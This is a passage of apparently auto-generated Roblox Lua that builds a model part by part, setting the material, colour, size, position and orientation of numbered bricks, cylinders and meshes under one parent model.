		Part191.CFrame = CFrame.new(85.2290497, 2.24749422, 71.4875183, 0.999990463, 1.68663576e-06, -5.21396615e-08, 1.52207053e-06, -0.99999398, -3.58559191e-06, -4.70573482e-08, 3.27080488e-06, -0.99999404)
		Part191.BottomSurface = Enum.SurfaceType.Smooth
		Part191.TopSurface = Enum.SurfaceType.Smooth
		Part191.Color = Color3.new(0.0509804, 0.411765, 0.67451)
		Part191.Position = Vector3.new(85.2290497, 2.24749422, 71.4875183)
		Part191.Orientation = Vector3.new(0, -180, 180)
		Part191.Color = Color3.new(0.0509804, 0.411765, 0.67451)
		BlockMesh192.Parent = Part191
		BlockMesh192.Scale = Vector3.new(1, 1, 0.200000003)
		BlockMesh192.Scale = Vector3.new(1, 1, 0.200000003)
		Part193.Parent = Model111
		Part193.Material = Enum.Material.SmoothPlastic
		Part193.BrickColor = BrickColor.new("Bright blue")
		Part193.Reflectance = 0.20000000298023
		Part193.Rotation = Vector3.new(90, 0, 0)
		Part193.Anchored = true
		Part193.CanCollide = false
		Part193.FormFactor = Enum.FormFactor.Symmetric
		Part193.Size = Vector3.new(0.200000003, 0.704961121, 0.200000003)
		Part193.CFrame = CFrame.new(85.2290497, 2.37356567, 71.1549301, 0.999990463, 5.21391357e-08, 1.68663564e-06, 1.52207053e-06, 3.8985163e-06, -0.99999404, -4.70573482e-08, 0.99999404, 3.58559191e-06)
		Part193.BottomSurface = Enum.SurfaceType.Smooth
		Part193.TopSurface = Enum.SurfaceType.Smooth
		Part193.Color = Color3.new(0.0509804, 0.411765, 0.67451)
		Part193.Position = Vector3.new(85.2290497, 2.37356567, 71.1549301)
		Part193.Orientation = Vector3.new(89.8000031, 25.1900005, 21.3299999)
		Part193.Color = Color3.new(0.0509804, 0.411765, 0.67451)
		BlockMesh194.Parent = Part193
		BlockMesh194.Scale = Vector3.new(1, 1, 0.200000003)
		BlockMesh194.Scale = Vector3.new(1, 1, 0.200000003)
		Part195.Parent = Model111
		Part195.Material = Enum.Material.SmoothPlastic
		Part195.BrickColor = BrickColor.new("Black")
		Part195.Rotation = Vector3.new(180, 0, 180)
		Part195.Anchored = true
		Part195.CanCollide = false
		Part195.FormFactor = Enum.FormFactor.Symmetric
		Part195.Size = Vector3.new(1.12655747, 0.300000042, 2.07369661)
		Part195.CFrame = CFrame.new(84.7367096, 2.24362898, 71.1229401, -0.999990463, -1.68663564e-06, -5.21395265e-08, -1.52207053e-06, 0.99999398, -3.68990004e-06, 4.70573482e-08, -3.34531069e-06, -0.99999404)
		Part195.BottomSurface = Enum.SurfaceType.Smooth
		Part195.TopSurface = Enum.SurfaceType.Smooth
		Part195.Color = Color3.new(0.105882, 0.164706, 0.207843)
		Part195.Position = Vector3.new(84.7367096, 2.24362898, 71.1229401)
		Part195.Orientation = Vector3.new(0, -180, 0)
		Part195.Color = Color3.new(0.105882, 0.164706, 0.207843)
		BlockMesh196.Parent = Part195
		Part197.Parent = Model111
		Part197.Material = Enum.Material.SmoothPlastic
		Part197.BrickColor = BrickColor.new("Bright blue")
		Part197.Reflectance = 0.20000000298023
		Part197.Rotation = Vector3.new(180, 0, 0)
		Part197.Anchored = true
		Part197.CanCollide = false
		Part197.FormFactor = Enum.FormFactor.Symmetric
		Part197.Size = Vector3.new(0.200000003, 0.289398372, 0.200000003)
		Part197.CFrame = CFrame.new(85.2290497, 2.2483387, 70.8214417, 0.999990463, 1.68663576e-06, -5.21396615e-08, 1.52207053e-06, -0.99999398, -3.58559191e-06, -4.70573482e-08, 3.27080488e-06, -0.99999404)
		Part197.BottomSurface = Enum.SurfaceType.Smooth
		Part197.TopSurface = Enum.SurfaceType.Smooth
		Part197.Color = Color3.new(0.0509804, 0.411765, 0.67451)
		Part197.Position = Vector3.new(85.2290497, 2.2483387, 70.8214417)
		Part197.Orientation = Vector3.new(0, -180, 180)
		Part197.Color = Color3.new(0.0509804, 0.411765, 0.67451)
		BlockMesh198.Parent = Part197
		BlockMesh198.Scale = Vector3.new(1, 1, 0.200000003)
		BlockMesh198.Scale = Vector3.new(1, 1, 0.200000003)
		Part199.Parent = Model111
		Part199.Material = Enum.Material.SmoothPlastic
		Part199.BrickColor = BrickColor.new("Bright blue")
		Part199.Reflectance = 0.20000000298023
		Part199.Rotation = Vector3.new(90, 0, 0)
		Part199.Anchored = true
		Part199.CanCollide = false
		Part199.FormFactor = Enum.FormFactor.Symmetric
		Part199.Size = Vector3.new(0.200000003, 0.704961121, 0.200000003)
		Part199.CFrame = CFrame.new(85.2290497, 2.10725856, 71.1549301, 0.999990463, 5.21391357e-08, 1.68663564e-06, 1.52207053e-06, 3.8985163e-06, -0.99999404, -4.70573482e-08, 0.99999404, 3.58559191e-06)
		Part199.BottomSurface = Enum.SurfaceType.Smooth
		Part199.TopSurface = Enum.SurfaceType.Smooth
		Part199.Color = Color3.new(0.0509804, 0.411765, 0.67451)
		Part199.Position = Vector3.new(85.2290497, 2.10725856, 71.1549301)
		Part199.Orientation = Vector3.new(89.8000031, 25.1900005, 21.3299999)
		Part199.Color = Color3.new(0.0509804, 0.411765, 0.67451)
		BlockMesh200.Parent = Part199
		BlockMesh200.Scale = Vector3.new(1, 1, 0.200000003)
		BlockMesh200.Scale = Vector3.new(1, 1, 0.200000003)
		Part201.Parent = Model111
		Part201.Material = Enum.Material.SmoothPlastic
		Part201.BrickColor = BrickColor.new("Bright blue")
		Part201.Reflectance = 0.20000000298023
		Part201.Rotation = Vector3.new(-90, 0, 0)
		Part201.Anchored = true
		Part201.CanCollide = false
		Part201.FormFactor = Enum.FormFactor.Symmetric
		Part201.Size = Vector3.new(0.200000003, 0.289398372, 0.200000003)
		Part201.CFrame = CFrame.new(85.2290497, 2.24585271, 71.3620148, 0.999990463, -5.21390859e-08, -1.68663564e-06, 1.52207053e-06, -3.92831862e-06, 0.99999404, -4.70573482e-08, -0.99999404, -3.60049307e-06)
		Part201.BottomSurface = Enum.SurfaceType.Smooth
		Part201.TopSurface = Enum.SurfaceType.Smooth
		Part201.Color = Color3.new(0.0509804, 0.411765, 0.67451)
		Part201.Position = Vector3.new(85.2290497, 2.24585271, 71.3620148)
		Part201.Orientation = Vector3.new(-89.8000031, -154.899994, 158.820007)
		Part201.Color = Color3.new(0.0509804, 0.411765, 0.67451)
		BlockMesh202.Parent = Part201
		BlockMesh202.Scale = Vector3.new(1, 1, 0.200000003)
		BlockMesh202.Scale = Vector3.new(1, 1, 0.200000003)
		Part203.Name = "Cylinder"
		Part203.Parent = Model111
		Part203.Material = Enum.Material.SmoothPlastic
		Part203.BrickColor = BrickColor.new("Really black")
		Part203.Rotation = Vector3.new(-90, 0, 90)
		Part203.Anchored = true
		Part203.CanCollide = false
		Part203.FormFactor = Enum.FormFactor.Symmetric
		Part203.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
		Part203.CFrame = CFrame.new(85.2129898, 2.2316227, 71.4693756, -5.72269414e-08, -1, -1.52209304e-06, -4.00096178e-06, -1.52208713e-06, 1, -1, 5.72326542e-08, -4.00096178e-06)
		Part203.BottomSurface = Enum.SurfaceType.Smooth
		Part203.TopSurface = Enum.SurfaceType.Smooth
		Part203.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		Part203.Position = Vector3.new(85.2129898, 2.2316227, 71.4693756)
		Part203.Orientation = Vector3.new(-90, 90, 0)
		Part203.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		CylinderMesh204.Parent = Part203
		CylinderMesh204.Scale = Vector3.new(0.773780882, 0.773780882, 0.386890441)
		CylinderMesh204.Scale = Vector3.new(0.773780882, 0.773780882, 0.386890441)
		Part205.Name = "Cylinder"
		Part205.Parent = Model111
		Part205.Material = Enum.Material.SmoothPlastic
		Part205.BrickColor = BrickColor.new("Really black")
		Part205.Rotation = Vector3.new(-90, 0, 90)
		Part205.Anchored = true
		Part205.CanCollide = false
		Part205.FormFactor = Enum.FormFactor.Symmetric
		Part205.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
		Part205.CFrame = CFrame.new(85.2129898, 2.23079395, 70.7659149, -5.72269414e-08, -1, -1.52209304e-06, -4.00096178e-06, -1.52208713e-06, 1, -1, 5.72326542e-08, -4.00096178e-06)
		Part205.BottomSurface = Enum.SurfaceType.Smooth
		Part205.TopSurface = Enum.SurfaceType.Smooth
		Part205.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		Part205.Position = Vector3.new(85.2129898, 2.23079395, 70.7659149)
		Part205.Orientation = Vector3.new(-90, 90, 0)
		Part205.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		CylinderMesh206.Parent = Part205
		CylinderMesh206.Scale = Vector3.new(0.773780882, 0.773780882, 0.386890441)
		CylinderMesh206.Scale = Vector3.new(0.773780882, 0.773780882, 0.386890441)
		Part207.Name = "Cylinder"
		Part207.Parent = Model111
		Part207.Material = Enum.Material.SmoothPlastic
		Part207.BrickColor = BrickColor.new("Pastel Blue")
		Part207.Reflectance = 0.20000000298023
		Part207.Rotation = Vector3.new(-90, 0, 90)
		Part207.Anchored = true
		Part207.CanCollide = false
		Part207.FormFactor = Enum.FormFactor.Symmetric
		Part207.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
		Part207.CFrame = CFrame.new(85.2065201, 2.60235643, 71.5077591, -5.72269414e-08, -1, -1.52209304e-06, -4.00096178e-06, -1.52208713e-06, 1, -1, 5.72326542e-08, -4.00096178e-06)
		Part207.BottomSurface = Enum.SurfaceType.Smooth
		Part207.TopSurface = Enum.SurfaceType.Smooth
		Part207.Color = Color3.new(0.501961, 0.733333, 0.858824)
		Part207.Position = Vector3.new(85.2065201, 2.60235643, 71.5077591)
		Part207.Orientation = Vector3.new(-90, 90, 0)
		Part207.Color = Color3.new(0.501961, 0.733333, 0.858824)
		CylinderMesh208.Parent = Part207
		CylinderMesh208.Scale = Vector3.new(0.857374966, 0.857374966, 0.428687483)
		CylinderMesh208.Scale = Vector3.new(0.857374966, 0.857374966, 0.428687483)
		Part209.Name = "1"
		Part209.Parent = Model111
		Part209.Material = Enum.Material.SmoothPlastic
		Part209.BrickColor = BrickColor.new("Pastel Blue")
		Part209.Reflectance = 0.20000000298023
		Part209.Rotation = Vector3.new(-90, 0, 90)
		Part209.Anchored = true
		Part209.CanCollide = false
		Part209.FormFactor = Enum.FormFactor.Symmetric
		Part209.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
		Part209.CFrame = CFrame.new(85.1887817, 2.975389, 70.6631317, -5.72269414e-08, -1, -1.52209304e-06, -4.00096178e-06, -1.52208713e-06, 1, -1, 5.72326542e-08, -4.00096178e-06)
		Part209.BottomSurface = Enum.SurfaceType.Smooth
		Part209.TopSurface = Enum.SurfaceType.Smooth
		Part209.Color = Color3.new(0.501961, 0.733333, 0.858824)
		Part209.Position = Vector3.new(85.1887817, 2.975389, 70.6631317)
		Part209.Orientation = Vector3.new(-90, 90, 0)
		Part209.Color = Color3.new(0.501961, 0.733333, 0.858824)
		CylinderMesh210.Parent = Part209
		CylinderMesh210.Scale = Vector3.new(1, 1, 0.5)
		CylinderMesh210.Scale = Vector3.new(1, 1, 0.5)
		Part211.Name = "Cylinder"
		Part211.Parent = Model111
		Part211.Material = Enum.Material.SmoothPlastic
		Part211.BrickColor = BrickColor.new("Pastel Blue")
		Part211.Reflectance = 0.20000000298023
		Part211.Rotation = Vector3.new(-90, 0, 90)
		Part211.Anchored = true
		Part211.CanCollide = false
		Part211.FormFactor = Enum.FormFactor.Symmetric
		Part211.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
		Part211.CFrame = CFrame.new(85.2065201, 2.60143566, 70.7283096, -5.72269414e-08, -1, -1.52209304e-06, -4.00096178e-06, -1.52208713e-06, 1, -1, 5.72326542e-08, -4.00096178e-06)
		Part211.BottomSurface = Enum.SurfaceType.Smooth
		Part211.TopSurface = Enum.SurfaceType.Smooth
		Part211.Color = Color3.new(0.501961, 0.733333, 0.858824)
		Part211.Position = Vector3.new(85.2065201, 2.60143566, 70.7283096)
		Part211.Orientation = Vector3.new(-90, 90, 0)
		Part211.Color = Color3.new(0.501961, 0.733333, 0.858824)
		CylinderMesh212.Parent = Part211
		CylinderMesh212.Scale = Vector3.new(0.857374966, 0.857374966, 0.428687483)
		CylinderMesh212.Scale = Vector3.new(0.857374966, 0.857374966, 0.428687483)
		Part213.Name = "1"
		Part213.Parent = Model111
		Part213.Material = Enum.Material.SmoothPlastic
		Part213.BrickColor = BrickColor.new("Pastel Blue")
		Part213.Reflectance = 0.20000000298023
		Part213.Rotation = Vector3.new(-90, 0, 90)
		Part213.Anchored = true
		Part213.CanCollide = false
		Part213.FormFactor = Enum.FormFactor.Symmetric
		Part213.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
		Part213.CFrame = CFrame.new(85.1887817, 2.97647023, 71.5722427, -5.72269414e-08, -1, -1.52209304e-06, -4.00096178e-06, -1.52208713e-06, 1, -1, 5.72326542e-08, -4.00096178e-06)
		Part213.BottomSurface = Enum.SurfaceType.Smooth
		Part213.TopSurface = Enum.SurfaceType.Smooth
		Part213.Color = Color3.new(0.501961, 0.733333, 0.858824)
		Part213.Position = Vector3.new(85.1887817, 2.97647023, 71.5722427)
		Part213.Orientation = Vector3.new(-90, 90, 0)
		Part213.Color = Color3.new(0.501961, 0.733333, 0.858824)
		CylinderMesh214.Parent = Part213
		CylinderMesh214.Scale = Vector3.new(1, 1, 0.5)
		CylinderMesh214.Scale = Vector3.new(1, 1, 0.5)
		Part215.Name = "Brick"
		Part215.Parent = Model111
		Part215.Material = Enum.Material.SmoothPlastic
		Part215.BrickColor = BrickColor.new("Lapis")
		Part215.Rotation = Vector3.new(-98.8700027, 0, 90)
		Part215.Anchored = true
		Part215.CanCollide = false
		Part215.FormFactor = Enum.FormFactor.Symmetric
		Part215.Size = Vector3.new(0.200000003, 0.200000048, 3.76191354)
		Part215.CFrame = CFrame.new(85.334816, 2.19722486, 72.4109573, 3.44653273e-07, -1, -1.53493693e-06, -0.154159606, -1.56971362e-06, 0.98804605, -0.98804605, -1.03908391e-07, -0.154159606)
		Part215.BottomSurface = Enum.SurfaceType.Smooth
		Part215.TopSurface = Enum.SurfaceType.Smooth
		Part215.Color = Color3.new(0.0627451, 0.164706, 0.862745)
		Part215.Position = Vector3.new(85.334816, 2.19722486, 72.4109573)
		Part215.Orientation = Vector3.new(-81.1299973, -180, -90)
		Part215.Color = Color3.new(0.0627451, 0.164706, 0.862745)
		BlockMesh216.Parent = Part215
		BlockMesh216.Scale = Vector3.new(0.200000003, 0.200000003, 1)
		BlockMesh216.Scale = Vector3.new(0.200000003, 0.200000003, 1)
		Part217.Name = "Brick"
		Part217.Parent = Model111
		Part217.Material = Enum.Material.SmoothPlastic
		Part217.BrickColor = BrickColor.new("Lapis")
		Part217.Rotation = Vector3.new(81.1299973, 0, -90)
		Part217.Anchored = true
		Part217.CanCollide = false
		Part217.FormFactor = Enum.FormFactor.Symmetric
		Part217.Size = Vector3.new(0.200000003, 0.200000048, 0.200000003)
		Part217.CFrame = CFrame.new(85.2253647, 0.689384937, 72.6472626, 3.44653273e-07, 1, 1.62236074e-06, -0.154159606, 1.65609265e-06, -0.98804605, -0.98804605, 9.04312216e-08, 0.154159606)
		Part217.BottomSurface = Enum.SurfaceType.Smooth
		Part217.TopSurface = Enum.SurfaceType.Smooth
		Part217.Color = Color3.new(0.0627451, 0.164706, 0.862745)
		Part217.Position = Vector3.new(85.2253647, 0.689384937, 72.6472626)
		Part217.Orientation = Vector3.new(81.1299973, 0, -90)
		Part217.Color = Color3.new(0.0627451, 0.164706, 0.862745)
		BlockMesh218.Parent = Part217
		BlockMesh218.Scale = Vector3.new(0.200000003, 0.200000003, 0.5)
		BlockMesh218.Scale = Vector3.new(0.200000003, 0.200000003, 0.5)
		Part219.Name = "Brick"
		Part219.Parent = Model111
		Part219.Material = Enum.Material.SmoothPlastic
		Part219.BrickColor = BrickColor.new("Lapis")
		Part219.Rotation = Vector3.new(171.130005, -90, 0)
		Part219.Anchored = true
		Part219.CanCollide = false
		Part219.FormFactor = Enum.FormFactor.Symmetric
		Part219.Size = Vector3.new(0.200000003, 0.200000048, 1.06754613)
		Part219.CFrame = CFrame.new(84.7113571, 0.642819166, 72.6564255, 3.44653273e-07, 1.90724722e-06, -1, -0.154159606, -0.98804605, -1.93757319e-06, -0.98804605, 0.154159606, -4.65132004e-08)
		Part219.BottomSurface = Enum.SurfaceType.Smooth
		Part219.TopSurface = Enum.SurfaceType.Smooth
		Part219.Color = Color3.new(0.0627451, 0.164706, 0.862745)
		Part219.Position = Vector3.new(84.7113571, 0.642819166, 72.6564255)
		Part219.Orientation = Vector3.new(0, -90, -171.130005)
		Part219.Color = Color3.new(0.0627451, 0.164706, 0.862745)
		BlockMesh220.Parent = Part219
		BlockMesh220.Scale = Vector3.new(0.200000003, 0.200000003, 1)
		BlockMesh220.Scale = Vector3.new(0.200000003, 0.200000003, 1)
		Part221.Name = "Brick"
		Part221.Parent = Model111
		Part221.Material = Enum.Material.SmoothPlastic
		Part221.BrickColor = BrickColor.new("Lapis")
		Part221.Rotation = Vector3.new(81.1299973, 0, -90)
		Part221.Anchored = true
		Part221.CanCollide = false
		Part221.FormFactor = Enum.FormFactor.Symmetric
		Part221.Size = Vector3.new(0.200000003, 0.200000048, 0.400000036)
		Part221.CFrame = CFrame.new(85.0661621, 0.575264692, 72.6628799, 3.44653273e-07, 1, 1.62236074e-06, -0.154159606, 1.65609265e-06, -0.98804605, -0.98804605, 9.04312216e-08, 0.154159606)
		Part221.BottomSurface = Enum.SurfaceType.Smooth
		Part221.TopSurface = Enum.SurfaceType.Smooth
		Part221.Color = Color3.new(0.0627451, 0.164706, 0.862745)
		Part221.Position = Vector3.new(85.0661621, 0.575264692, 72.6628799)
		Part221.Orientation = Vector3.new(81.1299973, 0, -90)
		Part221.Color = Color3.new(0.0627451, 0.164706, 0.862745)
		BlockMesh222.Parent = Part221
		BlockMesh222.Scale = Vector3.new(0.200000003, 0.200000003, 1)
		BlockMesh222.Scale = Vector3.new(0.200000003, 0.200000003, 1)
		Part223.Name = "Brick"
		Part223.Parent = Model111
		Part223.Material = Enum.Material.SmoothPlastic
		Part223.BrickColor = BrickColor.new("Really black")
		Part223.Rotation = Vector3.new(0, 90, 0)
		Part223.Anchored = true
		Part223.CanCollide = false
		Part223.FormFactor = Enum.FormFactor.Symmetric
		Part223.Size = Vector3.new(0.275762081, 2.04569292, 0.200000003)
		Part223.CFrame = CFrame.new(85.182869, 2.98781443, 72.0021896, 5.99961609e-08, -1.85120155e-06, 1, -3.37511301e-06, 0.99999994, 1.85119586e-06, -0.99999994, -3.37511301e-06, 5.99902847e-08)
		Part223.BottomSurface = Enum.SurfaceType.Smooth
		Part223.TopSurface = Enum.SurfaceType.Smooth
		Part223.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		Part223.Position = Vector3.new(85.182869, 2.98781443, 72.0021896)
		Part223.Orientation = Vector3.new(0, 90, 0)
		Part223.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		BlockMesh224.Parent = Part223
		Part225.Name = "Brick"
		Part225.Parent = Model111
		Part225.Material = Enum.Material.SmoothPlastic
		Part225.BrickColor = BrickColor.new("Really black")
		Part225.Rotation = Vector3.new(90, 90, 0)
		Part225.Anchored = true
		Part225.CanCollide = false
		Part225.FormFactor = Enum.FormFactor.Symmetric
		Part225.Size = Vector3.new(0.200000003, 0.682073951, 0.200000003)
		Part225.CFrame = CFrame.new(85.2118912, 2.23023295, 71.1194458, -1.85120132e-06, -5.99948677e-08, 1, 0.99999994, 2.66171992e-06, 1.85119575e-06, -2.66171992e-06, 0.99999994, 5.99902847e-08)
		Part225.BottomSurface = Enum.SurfaceType.Smooth
		Part225.TopSurface = Enum.SurfaceType.Smooth
		Part225.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		Part225.Position = Vector3.new(85.2118912, 2.23023295, 71.1194458)
		Part225.Orientation = Vector3.new(0, 90, 90)
		Part225.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		BlockMesh226.Parent = Part225
		BlockMesh226.Scale = Vector3.new(0.232134268, 1, 0.773780882)
		BlockMesh226.Scale = Vector3.new(0.232134268, 1, 0.773780882)
		Part227.Name = "Brick"
		Part227.Parent = Model111
		Part227.Material = Enum.Material.SmoothPlastic
		Part227.BrickColor = BrickColor.new("Really black")
		Part227.Rotation = Vector3.new(0, 90, 0)
		Part227.Anchored = true
		Part227.CanCollide = false
		Part227.FormFactor = Enum.FormFactor.Symmetric
		Part227.Size = Vector3.new(2.0220542, 0.200000048, 0.909533679)
		Part227.CFrame = CFrame.new(84.7550049, 3.90972233, 71.1290512, 5.99961609e-08, -1.85120155e-06, 1, -3.37511301e-06, 0.99999994, 1.85119586e-06, -0.99999994, -3.37511301e-06, 5.99902847e-08)
		Part227.BottomSurface = Enum.SurfaceType.Smooth
		Part227.TopSurface = Enum.SurfaceType.Smooth
		Part227.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		Part227.Position = Vector3.new(84.7550049, 3.90972233, 71.1290512)
		Part227.Orientation = Vector3.new(0, 90, 0)
		Part227.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		BlockMesh228.Parent = Part227
		Part229.Name = "Brick"
		Part229.Parent = Model111
		Part229.Material = Enum.Material.SmoothPlastic
		Part229.BrickColor = BrickColor.new("Navy blue")
		Part229.Rotation = Vector3.new(26.2199993, 55.4099998, -19.1499996)
		Part229.Anchored = true
		Part229.CanCollide = false
		Part229.FormFactor = Enum.FormFactor.Symmetric
		Part229.Size = Vector3.new(0.621950567, 0.569770336, 0.200000003)
		Part229.CFrame = CFrame.new(84.0755386, 4.22622585, 70.6097031, 0.536291659, 0.186247364, 0.823227346, 0.0492807105, 0.96677655, -0.250827938, -0.842592955, 0.175086141, 0.509295702)
		Part229.BottomSurface = Enum.SurfaceType.Smooth
		Part229.TopSurface = Enum.SurfaceType.Smooth
		Part229.Color = Color3.new(0, 0.12549, 0.376471)
		Part229.Position = Vector3.new(84.0755386, 4.22622585, 70.6097031)
		Part229.Orientation = Vector3.new(14.5299997, 58.2599983, 2.92000008)
		Part229.Color = Color3.new(0, 0.12549, 0.376471)
		BlockMesh230.Parent = Part229
		Part231.Name = "Brick"
		Part231.Parent = Model111
		Part231.Material = Enum.Material.SmoothPlastic
		Part231.BrickColor = BrickColor.new("Really black")
		Part231.Rotation = Vector3.new(3.86999989, 9.71000004, -0.649999976)
		Part231.Anchored = true
		Part231.CanCollide = false
		Part231.FormFactor = Enum.FormFactor.Symmetric
		Part231.Size = Vector3.new(1, 0.569770336, 0.200000003)
		Part231.CFrame = CFrame.new(84.7363968, 4.22474575, 70.4194794, 0.985605001, 0.0112363026, 0.168690681, 8.23754817e-07, 0.997788668, -0.0664664507, -0.169064462, 0.0655097961, 0.983425617)
		Part231.BottomSurface = Enum.SurfaceType.Smooth
		Part231.TopSurface = Enum.SurfaceType.Smooth
		Part231.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		Part231.Position = Vector3.new(84.7363968, 4.22474575, 70.4194794)
		Part231.Orientation = Vector3.new(3.80999994, 9.72999954, 0)
		Part231.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		BlockMesh232.Parent = Part231
		Part233.Name = "Brick"
		Part233.Parent = Model111
		Part233.Material = Enum.Material.SmoothPlastic
		Part233.BrickColor = BrickColor.new("Really black")
		Part233.Rotation = Vector3.new(0, 90, 0)
		Part233.Anchored = true
		Part233.CanCollide = false
		Part233.FormFactor = Enum.FormFactor.Symmetric
		Part233.Size = Vector3.new(0.34570837, 0.569770336, 0.200000003)
		Part233.CFrame = CFrame.new(84.1144104, 4.1997714, 71.0390701, 5.99961609e-08, -1.85120155e-06, 1, -3.37511301e-06, 0.99999994, 1.85119586e-06, -0.99999994, -3.37511301e-06, 5.99902847e-08)
		Part233.BottomSurface = Enum.SurfaceType.Smooth
		Part233.TopSurface = Enum.SurfaceType.Smooth
		Part233.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		Part233.Position = Vector3.new(84.1144104, 4.1997714, 71.0390701)
		Part233.Orientation = Vector3.new(0, 90, 0)
		Part233.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		BlockMesh234.Parent = Part233
		Part235.Name = "Brick"
		Part235.Parent = Model111
		Part235.Material = Enum.Material.SmoothPlastic
		Part235.BrickColor = BrickColor.new("Navy blue")
		Part235.Rotation = Vector3.new(90, 80.4899979, -90)
		Part235.Anchored = true
		Part235.CanCollide = false
		Part235.FormFactor = Enum.FormFactor.Symmetric
		Part235.Size = Vector3.new(0.34570837, 0.569770336, 0.200000003)
		Part235.CFrame = CFrame.new(83.9347992, 4.21437454, 71.0390854, 5.99961609e-08, 0.165252075, 0.986251473, -3.37511301e-06, 0.986251295, -0.16525206, -0.99999994, -3.30992043e-06, 6.14672899e-07)
		Part235.BottomSurface = Enum.SurfaceType.Smooth
		Part235.TopSurface = Enum.SurfaceType.Smooth
		Part235.Color = Color3.new(0, 0.12549, 0.376471)
		Part235.Position = Vector3.new(83.9347992, 4.21437454, 71.0390854)
		Part235.Orientation = Vector3.new(9.51000023, 90, 0)
		Part235.Color = Color3.new(0, 0.12549, 0.376471)
		BlockMesh236.Parent = Part235
		Part237.Name = "Brick"
		Part237.Parent = Model111
		Part237.Material = Enum.Material.SmoothPlastic
		Part237.BrickColor = BrickColor.new("Really black")
		Part237.Rotation = Vector3.new(4.76999998, 57.5600014, -1.20000005)
		Part237.Anchored = true
		Part237.CanCollide = false
		Part237.FormFactor = Enum.FormFactor.Symmetric
		Part237.Size = Vector3.new(0.567494869, 0.569770336, 0.200000003)
		Part237.CFrame = CFrame.new(84.1754456, 4.21170378, 70.7049713, 0.536291659, 0.0112361535, 0.84395802, 0.0492807105, 0.997788727, -0.0445995405, -0.842592955, 0.0655092001, 0.534552038)
		Part237.BottomSurface = Enum.SurfaceType.Smooth
		Part237.TopSurface = Enum.SurfaceType.Smooth
		Part237.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		Part237.Position = Vector3.new(84.1754456, 4.21170378, 70.7049713)
		Part237.Orientation = Vector3.new(2.55999994, 57.6500015, 2.82999992)
		Part237.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		BlockMesh238.Parent = Part237
		Part239.Name = "Brick"
		Part239.Parent = Model111
		Part239.Material = Enum.Material.SmoothPlastic
		Part239.BrickColor = BrickColor.new("Navy blue")
		Part239.Rotation = Vector3.new(17.3299999, 9.30000019, -2.8900001)
		Part239.Anchored = true
		Part239.CanCollide = false
		Part239.FormFactor = Enum.FormFactor.Symmetric
		Part239.Size = Vector3.new(1.20342147, 0.569770336, 0.20717591)
		Part239.CFrame = CFrame.new(84.8112564, 4.24095535, 70.2542725, 0.985605001, 0.0496909469, 0.161597043, 8.23754817e-07, 0.955829561, -0.293921709, -0.169064462, 0.289690852, 0.942070186)
		Part239.BottomSurface = Enum.SurfaceType.Smooth
		Part239.TopSurface = Enum.SurfaceType.Smooth
		Part239.Color = Color3.new(0, 0.12549, 0.376471)
		Part239.Position = Vector3.new(84.8112564, 4.24095535, 70.2542725)
		Part239.Orientation = Vector3.new(17.0900002, 9.72999954, 0)
		Part239.Color = Color3.new(0, 0.12549, 0.376471)
		BlockMesh240.Parent = Part239
		Part241.Name = "Brick"
		Part241.Parent = Model111
		Part241.Material = Enum.Material.SmoothPlastic
		Part241.BrickColor = BrickColor.new("Navy blue")
		Part241.Rotation = Vector3.new(162.669998, 9.30000019, -177.110001)
		Part241.Anchored = true
		Part241.CanCollide = false
		Part241.FormFactor = Enum.FormFactor.Symmetric
		Part241.Size = Vector3.new(1.20342147, 0.569770336, 0.20717591)
		Part241.CFrame = CFrame.new(84.8130112, 4.24096441, 71.9904709, -0.985605001, 0.0496907383, 0.161597133, -2.17696652e-06, 0.955827594, -0.293928027, -0.169064477, -0.28969726, -0.942068219)
		Part241.BottomSurface = Enum.SurfaceType.Smooth
		Part241.TopSurface = Enum.SurfaceType.Smooth
		Part241.Color = Color3.new(0, 0.12549, 0.376471)
		Part241.Position = Vector3.new(84.8130112, 4.24096441, 71.9904709)
		Part241.Orientation = Vector3.new(17.0900002, 170.270004, 0)
		Part241.Color = Color3.new(0, 0.12549, 0.376471)
		BlockMesh242.Parent = Part241
		Part243.Name = "Brick"
		Part243.Parent = Model111
		Part243.Material = Enum.Material.SmoothPlastic
		Part243.BrickColor = BrickColor.new("Really black")
		Part243.Rotation = Vector3.new(175.229996, 57.5600014, -178.800003)
		Part243.Anchored = true
		Part243.CanCollide = false
		Part243.FormFactor = Enum.FormFactor.Symmetric
		Part243.Size = Vector3.new(0.567494869, 0.569770336, 0.200000003)
		Part243.CFrame = CFrame.new(84.1772079, 4.21171141, 71.5398026, -0.53629142, 0.0112355668, 0.843958139, -0.0492874496, 0.99778825, -0.0446031094, -0.842592597, -0.0655167922, -0.534551501)
		Part243.BottomSurface = Enum.SurfaceType.Smooth
		Part243.TopSurface = Enum.SurfaceType.Smooth
		Part243.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		Part243.Position = Vector3.new(84.1772079, 4.21171141, 71.5398026)
		Part243.Orientation = Vector3.new(2.55999994, 122.349998, -2.82999992)
		Part243.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		BlockMesh244.Parent = Part243
		Part245.Name = "Brick"
		Part245.Parent = Model111
		Part245.Material = Enum.Material.SmoothPlastic
		Part245.BrickColor = BrickColor.new("Lapis")
		Part245.Rotation = Vector3.new(-171.130005, -90, 0)
		Part245.Anchored = true
		Part245.CanCollide = false
		Part245.FormFactor = Enum.FormFactor.Symmetric
